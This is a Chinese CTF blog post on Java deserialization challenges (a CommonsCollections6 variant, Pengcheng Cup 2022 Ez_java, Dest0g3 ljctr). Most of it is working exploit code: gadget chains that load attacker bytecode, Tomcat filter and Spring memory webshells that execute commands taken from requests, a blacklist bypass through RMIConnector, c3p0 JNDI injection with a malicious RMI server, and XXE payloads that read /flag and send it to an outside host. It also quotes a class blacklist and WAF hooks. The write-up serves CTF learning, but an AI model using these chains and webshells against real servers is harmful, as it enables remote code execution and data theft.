import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl=getTemplates();
        /*
         * DefaultedMap(outerMap).value.transform(tiedMapEntry.key)
         *
         * */
        InstantiateFactory factory = new InstantiateFactory(
                TrAXFilter.class,
                new Class[]{
                        Templates.class
                },new Object[]{
                templatesImpl
        }
        );
        FactoryTransformer chainedTransformer = new FactoryTransformer(factory);
        Map innerMap = new HashMap();
        Map outerMap = DefaultedMap.decorate(innerMap, new ConstantTransformer(0));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "valuevalue");
        outerMap.remove("keykey");
        setFieldValue(outerMap, "value", chainedTransformer);

        byte[] b=serialize(expMap);
        deserialize(b);

    }

    public CC6() {
    }
    public static byte[] serialize(Object o) {
        try {
            ByteArrayOutputStream aos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(aos);
            oos.writeObject(o);
            oos.flush();
            oos.close();
            return aos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
    public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field fieldName = obj.getClass().getDeclaredField(name);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
    public static void deserialize(byte[] bytes) {
        try {
            ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(ais);
            ois.readObject();
            ois.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    static TemplatesImpl getTemplates() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = classPool.makeClass("Evil");
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetByteCode = new byte[][]{shellCode};

        TemplatesImpl templates = new TemplatesImpl();
        Class c1 = templates.getClass();
        Field _name = c1.getDeclaredField("_name");
        Field _bytecode = c1.getDeclaredField("_bytecodes");
        Field _tfactory = c1.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(templates, "h3rmesk1t");
        _bytecode.set(templates, targetByteCode);
        _tfactory.set(templates, new TransformerFactoryImpl());
        return templates;
    }
}

郭哥的exp

package CC6;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws
Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
 }
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(com.springboot.springbootdemo.exp.class.getName()).toBytecod
e()});
setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates,
"_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory factory = new InstantiateFactory(
TrAXFilter.class,
new Class[]{
Templates.class
 },new Object[]{
templates
 }
 );
FactoryTransformer chainedTransformer = new FactoryTransformer(factory);
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Map innerMap = new HashMap();
Map outerMap = DefaultedMap.decorate(innerMap, fakeTransformers);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
outerMap.remove("keykey");
setFieldValue(outerMap, "value", chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
// ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
 }
}

随便找了一个内存马

package com.example.easyjava.solve;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;

public class springevil extends AbstractTranslet
{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public springevil() throws Exception{
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
        writer.getClass().getDeclaredMethod("close").invoke(writer);
    }
}

鹏程杯2022 Ez_java

路由

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.Ez_Java.controller;

import com.example.Ez_Java.util.Secure;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import org.springframework.core.io.ClassPathResource;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @ResponseBody
    @RequestMapping({"/index"})
    public String index() {
        return "草,走,忽略!ጿ ኈ ቼ ዽ ጿ";
    }

    @ResponseBody
    @RequestMapping({"/flag"})
    public void flag(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ClassPathResource resource = new ClassPathResource("static/video/flag.mp4");
        response.setContentType("video/mp4");
        response.addHeader("Content-Length", "" + resource.getInputStream().available());
        InputStream is = resource.getInputStream();
        OutputStream os = response.getOutputStream();
        IOUtils.copy(is, os);
    }

    @ResponseBody
    @PostMapping({"/read"})
    public String read(@RequestParam(name = "data",required = true) String data) throws IOException, ClassNotFoundException {
        byte[] b = Base64.getDecoder().decode(data);
        InputStream bis = new ByteArrayInputStream(b);
        Secure ois = new Secure(bis);
        ois.readObject();
        return "沈阳等你噢";
    }
}

依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.6</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>Ez_Java</artifactId>
    <version>1.0-SNAPSHOT</version>
    <name>Ez_Java</name>
    <description>Ez_Java</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <optional>true</optional>
        </dependency>
        <dependency>
            <groupId>org.apache.flex.blazeds</groupId>
            <artifactId>flex-messaging-core</artifactId>
            <version>4.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.json/json -->
        <dependency>
            <groupId>org.json</groupId>
            <artifactId>json</artifactId>
            <version>20211205</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <excludes>
                        <exclude>
                            <groupId>org.projectlombok</groupId>
                            <artifactId>lombok</artifactId>
                        </exclude>
                    </excludes>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>

黑名单

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.Ez_Java.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;

public class Secure extends ObjectInputStream {
    private final Set<Object> blackList = new HashSet<Object>() {
        {
            this.add("javax.management.BadAttributeValueExpException");
            this.add("org.apache.commons.collections.keyvalue.TiedMapEntry");
            this.add("org.apache.commons.collections.functors.ChainedTransformer");
            this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            this.add("org.apache.commons.collections4.functors.ChainedTransformer");
            this.add("org.apache.commons.collections4.functors.InstantiateTransformer");
            this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
        }
    };

    public Secure(InputStream in) throws IOException {
        super(in);
    }

    protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
        if (this.blackList.contains(cls.getName())) {
            throw new InvalidClassException("Unexpected serialized class", cls.getName());
        } else {
            return super.resolveClass(cls);
        }
    }
}

正常的反序列化执行命令无非ChainedTransformer或者TemplatesImpl加载字节码,但是两个都禁了。

可以考虑调用javax.management.remote.rmi.RMIConnector#connect来二次反序列化,这样可以突破黑名单限制。具体见
http://novic4.cn/index.php/archives/26.html#cl-4

拼上CommonsCollections2的PriorityQueue调用x1.transform(x2),invokerTransformer调用任意方法,就可以调上述方法。最后再TemplatesImpl注册一个内存马

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;

public class aTest {
    public static void main(String[] args) throws Exception {
        byte[] expBytes=serialize(getPriorityQueueExp());
        String exp=Base64.getEncoder().encodeToString(expBytes);
        RMIConnector rmiConnector=new RMIConnector(
                new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),
                new HashMap<String,Integer>()
        );
        InvokerTransformer invokerTransformer=new InvokerTransformer("connect",null,null);
        //invokerTransformer.transform(rmiConnector)
        TransformingComparator comparator=new TransformingComparator(invokerTransformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞rmiConnector
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{rmiConnector,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        byte[] b=serialize(queue);
        String base=Base64.getEncoder().encodeToString(b);
        System.out.println(base);
//        read(base);
    }
    static void myTest() throws Exception {
        byte[] expBytes=serialize(getPriorityQueueExp());
//        deserialize(expBytes);
        String exp=Base64.getEncoder().encodeToString(expBytes);
        RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),new HashMap<String,Integer>());
        rmiConnector.connect();
    }
    public static String read(String data) throws IOException, ClassNotFoundException {
        byte[] b = Base64.getDecoder().decode(data);
        InputStream bis = new ByteArrayInputStream(b);
        Secure ois = new Secure(bis);
        ois.readObject();
        return "沈阳等你噢";
    }
    public static void deserialize(byte[] bytes) {
        try {
            ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(ais);
            ois.readObject();
            ois.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static byte[] serialize(Object o) {
        try {
            ByteArrayOutputStream aos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(aos);
            oos.writeObject(o);
            oos.flush();
            oos.close();
            return aos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    static PriorityQueue getPriorityQueueExp() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(test.InjectTomcat01.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates,
                "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        //制作transformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //接下来只需调用transformer.transform(templatesImpl)
//        transformer.transform()
        TransformingComparator comparator=new TransformingComparator(transformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞templatesImpl
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        return queue;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws
            Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


}

内存马

package test;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Map;

public class InjectTomcat01 extends AbstractTranslet implements Filter{

    private static String filterName = "k";
    private static String param = "cmd";
    private static String filterUrlPattern = "/*";
    static {
        try{
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            ServletContext servletContext = standardContext.getServletContext();
            Field filterConfigs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            Map map = (Map) filterConfigs.get(standardContext);
            if (map.get(filterName) == null && standardContext != null){
                Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, LifecycleState.STARTING_PREP);
                FilterRegistration.Dynamic filter = servletContext.addFilter(filterName, new InjectTomcat01());
                filter.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST),false,new String[]{filterUrlPattern});
                Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("filterStart");
                filterStart.invoke(standardContext,null);
                FilterMap[] filterMaps = standardContext.findFilterMaps();
                for (int i = 0 ; i < filterMaps.length ; i++){
                    if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){
                        FilterMap filterMap = filterMaps[0];
                        filterMaps[0] = filterMaps[i];
                        filterMaps[i] = filterMap;
                    }
                }
                stateField.set(standardContext,LifecycleState.STARTED);
            }
        }catch (Exception e){}
    }


    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String string = servletRequest.getParameter(param);
        if (string != null){
            String osName = System.getProperty("os.name");
            String[] cmd = osName != null && osName.toLowerCase().contains("win") ? new String[]{"cmd.exe","/c",string} : new String[]{"/bin/bash","-c",string};
            Process exec = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
            StringBuffer stringBuffer = new StringBuffer();
            String lineData;
            while ((lineData = bufferedReader.readLine()) != null){
                stringBuffer.append(lineData + '\n');
            }
            servletResponse.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

Dest0g3 520 迎新赛 ljctr

看看pom,发现了这个

            <dependency>
                <groupId>com.mchange</groupId>
                <artifactId>c3p0</artifactId>
                <version>0.9.5.5</version>
            </dependency>

ysoserial里有个c3p0链。但是waf.jar有一小点过滤

      public static byte[] c3p0(Instrumentation inst, ClassLoader loader) throws Exception {
        Class<?> aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized", true, loader);
        ClassPool classPool1 = new ClassPool(true);
        classPool1.insertClassPath((ClassPath)new ClassClassPath(aClass));
        classPool1.insertClassPath((ClassPath)new LoaderClassPath(aClass.getClassLoader()));
        CtClass ctClass1 = classPool1.get(aClass.getName());
        CtMethod ctMethod1 = ctClass1.getMethod("getObject", "()Ljava/lang/Object;");
        ctMethod1.insertBefore(String.format(" if (reference!=null){\n            return null;\n        }", new Object[] { AgentDemo.class
                
                .getName() }));
        inst.redefineClasses(new ClassDefinition[] { new ClassDefinition(aClass, ctClass1.toBytecode()) });
        ctClass1.detach();
        return ctClass1.toBytecode();
      }

这是用RASP中的java agent原理实现的

https://paper.seebug.org/1041/

其实就是调用ReferenceSerialized#getObject的时候加了个判断,如果reference不是null就返回

看了看c3p0链,在ysoserial中,getObject调用后面的referenceToObject会用到reference,这里就不能用了。但是会发现还有一个context = (Context)initialContext.lookup(this.contextName)

    public Object getObject() throws ClassNotFoundException, IOException {
      try {
        InitialContext initialContext;
        if (this.env == null) {
          initialContext = new InitialContext();
        } else {
          initialContext = new InitialContext(this.env);
        } 
        Context context = null;
        if (this.contextName != null)
          context = (Context)initialContext.lookup(this.contextName); 
        return ReferenceableUtils.referenceToObject(this.reference, this.name, context, this.env);
      } catch (NamingException namingException) {
        if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING))
          ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", namingException); 
        throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + namingException.toString());
      } 
    }

可以jndi注入。但这里有个小问题,在writeObject过程中会设置这个reference

      public IndirectlySerialized indirectForm(Object paramObject) throws Exception {
        Reference reference = ((Referenceable)paramObject).getReference();
        return new ReferenceSerialized(reference, this.name, this.contextName, this.environmentProperties);
      }

所以要重写。由于比较菜不会写QwQ,我直接把jar包里的这个类删掉自己按照包名写了一个,就可以控制reference=null和控制contextName了

contextName是个Name类型,Name是个接口。而且,ldap被waf ban了。找了一下实现类+一番搜索发现javax.naming.CompoundName可以用

https://www.jianshu.com/p/d55425bdf4f2

把com.mchange.v2.naming.ReferenceIndirector#IndirectlySerialized改成这个

        public IndirectlySerialized indirectForm(Object paramObject) throws Exception {
            Properties pros=new Properties();
            Name name=new CompoundName("rmi://ip:1234/Evil",pros);
            return new ReferenceSerialized(null, null, name, this.environmentProperties);
        }

用marshalsec打了一下发现不行,因为jdk是高版本

https://tttang.com/archive/1405/

由于是springboot,本来可以用BeanFactory调ELProcessor,但是又有个waf

      public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {
        Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
        ClassPool classPool = new ClassPool(true);
        classPool.insertClassPath((ClassPath)new ClassClassPath(elProcessorClass));
        classPool.insertClassPath((ClassPath)new LoaderClassPath(elProcessorClass.getClassLoader()));
        CtClass ctClass = classPool.get(elProcessorClass.getName());
        CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
        ctMethod.insertBefore(String.format(" if (expression!=null){\n            return null;\n        }", new Object[] { AgentDemo.class
                
                .getName() }));
        inst.redefineClasses(new ClassDefinition[] { new ClassDefinition(elProcessorClass, ctClass.toBytecode()) });
        ctClass.detach();
        return ctClass.toBytecode();
      }

暂时想不到怎么绕。。

搜到了一篇文章

https://www.cnblogs.com/bitterz/p/15946406.html#22--orgapachecatalinausersmemoryuserdatabasefactory

里面的方法都看了一下,org.apache.catalina.users.MemoryUserDatabaseFactory似乎能用,可以XXE

写一个rmi Server

    package com.example.idea;
    
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import org.apache.naming.ResourceRef;
    
    import javax.naming.StringRefAddr;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class Server {
    //    javax.el.ELProcessor
        public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1234);
    // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
            ResourceRef ref=new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null);
    //        ref.add(new StringRefAddr("forceString", "a=createDirectory"));
            ref.add(new StringRefAddr("pathname", "http://ip/post.xml"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Evil", referenceWrapper);
        }
    
    }

nginx服务放上两个xml

post.xml

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag[
    <!ENTITY % dtd SYSTEM "http://ip/exp.xml">
    %dtd;
    %int;
    %send;
    ]>

exp.xml

    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ip/%file;'>">

但是rmi server换成远程就打不通。docker看看logs,发现已经查询了rmi,但是报错

Connection refused to host: 127.0.1.1

搜索一番,发现是这个原因

https://zhuanlan.zhihu.com/p/41806870

Server加一句

System.setProperty("java.rmi.server.hostname","远程Ip");

就行了。

生成base64

    package com.example.idea;
    
    
    import com.mchange.v2.c3p0.PoolBackedDataSource;
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    import com.mchange.v2.naming.ReferenceIndirector;
    import com.mchange.v2.ser.IndirectlySerialized;
    
    import javax.naming.*;
    import javax.sql.ConnectionPoolDataSource;
    import javax.sql.PooledConnection;
    import java.io.*;
    import java.sql.SQLException;
    import java.sql.SQLFeatureNotSupportedException;
    import java.util.Enumeration;
    import java.util.Properties;
    import java.util.logging.Logger;
    import java.util.Base64;
    public class Test {
        public static void main(String[] args) throws Exception{
    //        com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized
    //        Name name=new CompoundName("rmi://127.0.0.1:1234/Evil",pros);
            PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
    //        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
    //        javax.el.ELProcessor
            byte[] bb=serialize(b);
            System.out.println(Base64.getEncoder().encodeToString(bb));
            deserialize(bb);
    //        org.yaml.snakeyaml.Yaml
        }
    
        public static byte[] serialize(Object o) {
            try {
                ByteArrayOutputStream aos = new ByteArrayOutputStream();
                ObjectOutputStream oos = new ObjectOutputStream(aos);
                oos.writeObject(o);
                oos.flush();
                oos.close();
                return aos.toByteArray();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }
        public static void deserialize(byte[] bytes) {
            try {
                ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
                ObjectInputStream ois = new ObjectInputStream(ais);
                ois.readObject();
                ois.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

vps起上Server,然后发包

    import requests
    url="http://127.0.0.1:49153/ctf"
    url="http://6442e76d-f89c-41cc-8a86-611f8afddc67.node4.buuoj.cn:81/ctf"
    def pwn(pay):
        r=requests.post(url,data={"data":pay})
        print(r.text)
    if __name__ == '__main__':
        pay="base64"
        pwn(pay)

看看logs即可收到flag

但是预期解要RCE,官方wp给的是new org.yaml.snakeyaml.Yaml().load(String)
https://tttang.com/archive/1405/

posted @ 2022-05-16 13:54  KingBridge  阅读(943)  评论(0编辑  收藏  举报